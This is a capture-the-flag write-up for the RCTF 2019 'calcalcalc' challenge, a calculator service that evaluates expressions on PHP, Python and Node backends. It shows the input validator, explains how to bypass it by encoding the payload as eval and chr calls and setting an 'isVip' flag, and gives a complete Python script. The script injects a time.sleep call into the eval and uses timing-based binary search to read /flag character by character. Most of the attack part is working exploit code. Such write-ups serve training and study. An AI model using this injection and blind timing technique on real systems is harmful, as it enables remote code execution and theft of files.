Rating:
(source given)
This website provides a calculator service with one frontend and three backends (php, python, node). We submit an expression to frontend, and get the result if answers given by eval
from all backends are the same.
There are some restriction on the expression.
validate(value: any, args: ValidationArguments) {
const str = value ? value.toString() : '';
if (str.length === 0) {
return false;
}
if (!(args.object as CalculateModel).isVip) {
if (str.length >= args.constraints[0]) {
return false;
}
}
if (!/^[0-9a-z\[\]\(\)\+\-\*\/ \t]+$/i.test(str)) {
return false;
}
return true;
}
We can use eval
and chr
in python to pass the re check.
We also need to add "isVIP": True
in the post json to avoid the length check.
After all, it becomes a timing blind search, and the basic payload is __import__('time').sleep(5) if {boolean_exp} else 1
final script:
import requests
from time import time
url = 'https://calcalcalc.2019.rctf.rois.io/calculate'
def encode(payload):
return 'eval(%s)' % ('+'.join('chr(%d)' % ord(c) for c in payload))
def query(bool_expr):
payload = "__import__('time').sleep(5) if %s else 1" % bool_expr
t = time()
r = requests.post(url, json={'isVip': True, 'expression': encode(payload)})
# print(r.text)
delta = time() - t
print(payload, delta)
return delta > 5
def binary_search(geq_expression, l, r):
eq_expression = geq_expression.replace('>=', '==')
while True:
if (r - l) < 4:
for mid in range(l, r + 1):
if query(eq_expression.format(num=mid)):
return mid
else:
print('NOT FOUND')
return
mid = (l + r) // 2
if query(geq_expression.format(num=mid)):
l = mid
else:
r = mid
# flag_len = binary_search("len(open('/flag').read())>={num}", 0, 100)
flag_len = 36
print('flag length: %d' % flag_len)
flag = ''
while len(flag) < flag_len:
c = binary_search("ord(open('/flag').read()[%d])>={num}" % len(flag), 0, 128)
if c: # the bs may fail due to network issues
flag += chr(c)
print(flag)